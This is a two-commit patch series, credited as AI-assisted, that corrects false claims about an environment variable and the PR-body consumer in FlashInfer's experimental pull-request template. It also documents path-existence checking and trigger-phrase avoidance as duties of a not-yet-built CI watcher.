8a0d490067aeb74cd19062088baa1123ae18d2e8 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 02:38:11 -0600 Subject: [PATCH 40/41] fix(docs): correct two false claims in the experimental PR template Both are contributor-facing, and a contributor would tick a box asserting something untrue. 1. The checklist claimed "all experimental behavior is gated behind FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1". That variable does not exist anywhere in this feature: $ grep -rn FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES --include='*.py' . (nothing in flashinfer/) The real variable is FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS, and it gates only backend="auto" selection. The design's premise is the opposite of what the box said: calling an @flashinfer_experimental_api, or naming a backend explicitly, IS the opt-in and needs no environment variable. So the box contradicted the design doc and sent readers looking for a variable that is not there. 2. The fence note said "CI reads it verbatim". Nothing in .github/workflows reads the PR body: $ grep -rn 'body-file\|experimental-tests' .github/workflows/ (no matches) The experimental-track watcher reads it, and turns it into the bot command. Naming the wrong consumer matters here, because it is what tells a contributor whether editing the block affects anything. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/pull_request_template.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 379b911a657..017bc546356 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -34,11 +34,12 @@ Thank you for contributing to FlashInfer! Before we review your pull request, pl - [ ] The tracking issue names an owner, the reason for the experimental path, and a graduation plan with a target release. - [ ] Core changes are limited to a thin entry point (signature, shared validation, feature-gate check, backend selection, handoff). - [ ] Tests live in `tests/experimental/` and were validated on the intended hardware; a runnable example is included. - - [ ] Nothing is registered in `flashinfer/aot.py`, and all experimental behavior is gated behind `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`. + - [ ] Nothing is registered in `flashinfer/aot.py`, and no experimental backend is reachable from `backend="auto"` without `FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1`. (Calling an `@flashinfer_experimental_api` or naming a backend explicitly is itself the opt-in and needs no environment variable.) - [ ] **Test scope declared below.** The experimental CI lane runs exactly these targets, so keep them as narrow as the change allows. + Do not delete the fence or change its `experimental-tests` tag — the experimental-track + watcher reads it verbatim to decide which targets to ask CI for. --> ```experimental-tests # One target per line: a directory or a file. (A pytest ::selector is not From ee6bf0e8ee9c4c1ffa53d530ab76d735e435b687 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 02:43:26 -0600 Subject: [PATCH 41/41] docs: record the path-existence gap as a watcher responsibility The handler validates a requested scope's shape -- charset, root, count -- but not whether the paths exist, and cannot: it holds a write token, so it deliberately does not check out the PR and has no files to inspect. A well-formed path that does not exist is therefore accepted and published. The lanes then start, pull an image, install, and only then does the runner's selection check reject it. Loud rather than silent, so nothing merges on a false green, but it spends several minutes on each on-demand runner to report that a file is missing. The watcher is the only component that can catch this cheaply, since it holds the PR's file list. Recorded in both docs: the constraint and its cost in ci_bot_and_targeted_testing.md, and the obligation plus a suggested test in experimental_track_ci.md, alongside the existing requirement that the watcher not reproduce the trigger phrase in its own comments. Written as testable obligations because the watcher does not exist yet -- the intent is that whoever builds it covers both. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .../ci_bot_and_targeted_testing.md | 13 +++++++++++ docs/design_docs/experimental_track_ci.md | 23 +++++++++++++++++++ 2 files changed, 36 insertions(+) diff --git a/docs/design_docs/ci_bot_and_targeted_testing.md b/docs/design_docs/ci_bot_and_targeted_testing.md index 5d574f14427..4115876bed1 100644 --- a/docs/design_docs/ci_bot_and_targeted_testing.md +++ b/docs/design_docs/ci_bot_and_targeted_testing.md @@ -66,6 +66,19 @@ that shrinks re-publishes its leftover chunks as empty. reaches a shell, so "starts with `tests/` and has no `..`" is not sufficient — a legal filename can still carry shell metacharacters. +**Existence is deliberately not checked.** The handler validates shape — charset, root, +count — but not whether the paths exist. It cannot: the job holds a write token, so it does +not check out the pull request, and it therefore has no files to look at. A well-formed path +that does not exist is accepted and published. + +The cost of that lands later and is not small. The lanes start, pull the image and install, +and only then does the runner's selection check reject the path, failing every lane. The +failure is loud rather than silent, so nothing merges on a false green — but it consumes +several minutes on each of the on-demand runners to say "that file is not there". + +Whoever *issues* the command is the right place to catch this, because unlike the handler it +has the files. + ## Reject, do not degrade When a requested scope does not validate, the command is rejected. The tempting alternative diff --git a/docs/design_docs/experimental_track_ci.md b/docs/design_docs/experimental_track_ci.md index 8d1369e2df9..2f17aeb2466 100644 --- a/docs/design_docs/experimental_track_ci.md +++ b/docs/design_docs/experimental_track_ci.md @@ -55,6 +55,29 @@ green. A watcher driving the PR cannot detect this, because a degraded run and an honoured one both end green. +## Watcher responsibilities + +The watcher is the component that turns a declared scope into a CI request. Two of its +obligations are not enforceable anywhere else, and should be covered by its own tests. + +**Verify that every declared path exists at the PR head before issuing a command.** The +handler cannot do this — it holds a write token and so deliberately does not check out the +pull request, leaving it with no files to inspect (see +[`ci_bot_and_targeted_testing.md`](ci_bot_and_targeted_testing.md)). A well-formed path that +does not exist is therefore accepted, published, and only rejected much later by the test +runner, after every lane has pulled an image and installed. The watcher holds the PR's file +list and can settle this instantly. + +Suggested test: declare a scope naming a path that does not exist at the head commit, and +assert the watcher reports the missing path and issues **no** command. + +**Do not reproduce the bot's trigger phrase in any comment it posts.** The trigger is matched +anywhere in a comment body, so a status update that quotes the command re-enters the handler, +re-applies the CI label, and cancels the run the watcher is shepherding. + +Suggested test: have the watcher post each of its status messages on a pull request and +assert none of them causes the handler to fire. + ## Scope of testing, and what it does not prove A green targeted run means the declared tests passed on the declared hardware. It is not